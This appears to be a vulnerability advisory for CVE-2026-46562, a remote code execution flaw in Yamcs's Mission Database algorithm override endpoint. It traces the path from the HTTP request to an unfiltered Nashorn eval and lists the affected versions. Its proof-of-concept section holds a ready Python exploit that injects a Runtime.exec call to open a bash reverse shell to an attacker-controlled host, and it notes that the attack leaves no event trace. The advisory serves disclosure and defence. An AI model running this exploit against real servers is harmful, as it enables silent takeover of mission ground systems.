CVE-2026-46562 — Vulnerability in org.yamcs:yamcs-core — CVE Details

# Remote Code Execution via Mission Database algorithm override ## Summary The Nashorn `ScriptEngine` used to evaluate user-supplied algorithm text in `MdbOverrideApi.updateAlgorithm` is constructed without a `ClassFilter`, allowing a user with the `ChangeMissionDatabase` privilege to execute arbitrary Java code on the Yamcs server. In Yamcs's default configuration (no `security.yaml`), the built-in `guest` user has `superuser=true`, so the vulnerability is reachable without authentication. ## Details **Vulnerable file**: `yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java` ```java // L46-53 Nashorn engine obtained without a ClassFilter ScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream() .filter(candidate -> !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName()) && candidate.getNames().contains(language)) .findFirst().orElse(null); if (factory != null) { scriptEngine = factory.getScriptEngine(); // ← ClassFilter not supplied } // L109 user-supplied algorithm text reaches eval() scriptEngine.eval(functionScript); ``` `NashornScriptEngineFactory.getScriptEngine()` accepts an optional `ClassFilter` that restricts which classes JavaScript can reach via `Java.type(...)`. Yamcs passes no filter, so attacker-supplied JavaScript can reach any Java class — for example, `Java.type("java.lang.Runtime").getRuntime().exec(...)` runs arbitrary OS commands inside the Yamcs JVM. The path from HTTP request to `eval` is: `MdbOverrideApi.updateAlgorithm` (`yamcs-core/src/main/java/org/yamcs/http/api/MdbOverrideApi.java:145-189`) → `AlgorithmManager.overrideAlgorithm` (`yamcs-core/src/main/java/org/yamcs/algorithms/AlgorithmManager.java:529-559`) → `ScriptAlgorithmExecutorFactory.makeExecutor` (`yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java:102-117`) → `scriptEngine.eval(...)`. ## PoC Run against any reachable Yamcs deployment that has at least one JavaScript `CustomAlgorithm` in its MDB (the `simulator` example MDB includes several, such as `/YSS/SIMULATOR/Battery_Voltage_Avg`). Attacker-side listener: ``` nc -lvnp 4444 ``` ```python #!/usr/bin/env python3 """ Usage: python3 <poc>.py http://target:8090 LHOST LPORT """ import json, sys, time, urllib.request TARGET = sys.argv[1].rstrip("/") LHOST = sys.argv[2] LPORT = int(sys.argv[3]) INSTANCE = "simulator" PROCESSOR = "realtime" ALGORITHM = "YSS/SIMULATOR/Battery_Voltage_Avg" # Close the generated wrapper function with `}`, execute the payload at # top level, then re-open a dummy function so the trailing `}` emitted # by ScriptAlgorithmExecutorFactory parses. No throw -> no event fired. payload = ( '} ' 'Java.type("java.lang.Runtime").getRuntime().exec(' f'["bash","-c","exec 3<>/dev/tcp/{LHOST}/{LPORT}; id >&3; sh -i <&3 >&3 2>&3"]); ' 'function _x(){' ) patch = f"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}" def http(method, url, body=None): req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None, method=method, headers={"Content-Type": "application/json"}) return urllib.request.urlopen(req, timeout=10).read() http("PATCH", patch, {"action": "SET", "algorithm": {"text": payload}}) time.sleep(2) http("PATCH", patch, {"action": "RESET"}) ``` <img width="1841" height="881" alt="nashorn-rce-poc" src="https://github.com/user-attachments/assets/48432eea-67b5-4f3b-af97-c77325b0d671" /><br> The override path emits events only when evaluation fails: a `WARNING` from `ScriptAlgorithmExecutorFactory.java:112` and a `CRITICAL` from `AlgorithmManager.java:546`. Any syntactically valid payload — like the one above — succeeds silently and **no event is fired**, so the attack leaves no trace in the Yamcs event stream. ## Impact Arbitrary code runs as the OS user running the Yamcs server, leading to compromise of that server and disruption of the mission it controls. For a Yamcs deployment managing spacecraft operations, an attacker can: - forge or block telecommands, suppress alarms, and tamper with the telemetry archive — disrupting or seizing control of the mission; - read any file the Yamcs process can read (cryptographic keys, credentials, MDB source files, configuration); - pivot to other ground-station systems reachable from the server (TSE instruments, neighboring Yamcs instances, internal services); - install a persistent backdoor via the same primitive. Who is impacted: - **All Yamcs deployments running in the default configuration** (no `security.yaml` present): any unauthenticated network attacker that can reach the HTTP API port (default `8090`). - **Yamcs deployments with security enabled**: any user that has been granted the `ChangeMissionDatabase` system privilege. This privilege is commonly given to MDB engineers and operators who edit calibrators or thresholds; the vulnerability turns that privilege into arbitrary code execution on the server. ## Affected Versions All Yamcs releases that ship the algorithm override endpoint are affected — no `ClassFilter` has ever been applied to the script engine. - **First vulnerable release**: `yamcs-4.7.3` (2018-11-22). Introduced in commit `951e505d18a3912813b59edc685cbcbd4c609906` ("added possibility to change in a running processor alarms, calibrations and algorithms texts"). The commit added the `ChangeAlgorithmRequest` RPC (later renamed `UpdateAlgorithmRequest`) and routed it as `PATCH /api/mdb/{instance}/{processor}/algorithms/{name*}`. - **Routing change at `yamcs-5.5.0`** (2021-04): the endpoint was split out of `MdbApi` into `MdbOverrideApi` and moved to `PATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name*}`. The underlying `scriptEngine.eval(...)` sink and the missing `ClassFilter` are identical. - **Latest release**: `yamcs-5.12.6` (commit `f1a26fe54587fab9960d7e53fc1bf0c879220e9e`) is affected. These four files (`MdbOverrideApi.java`, `AlgorithmManager.java`, `ScriptAlgorithmExecutorFactory.java`, `SecurityStore.java`) are unchanged between `5.12.6` and current `master` (`96d3e2d474415bea859f40ecbddc1bb8a0d141c1`) — no upstream fix exists. In short: **every Yamcs release from `4.7.3` through `5.12.6`, plus current `master`, is vulnerable** (133 release tags spanning 2018-11-22 to present).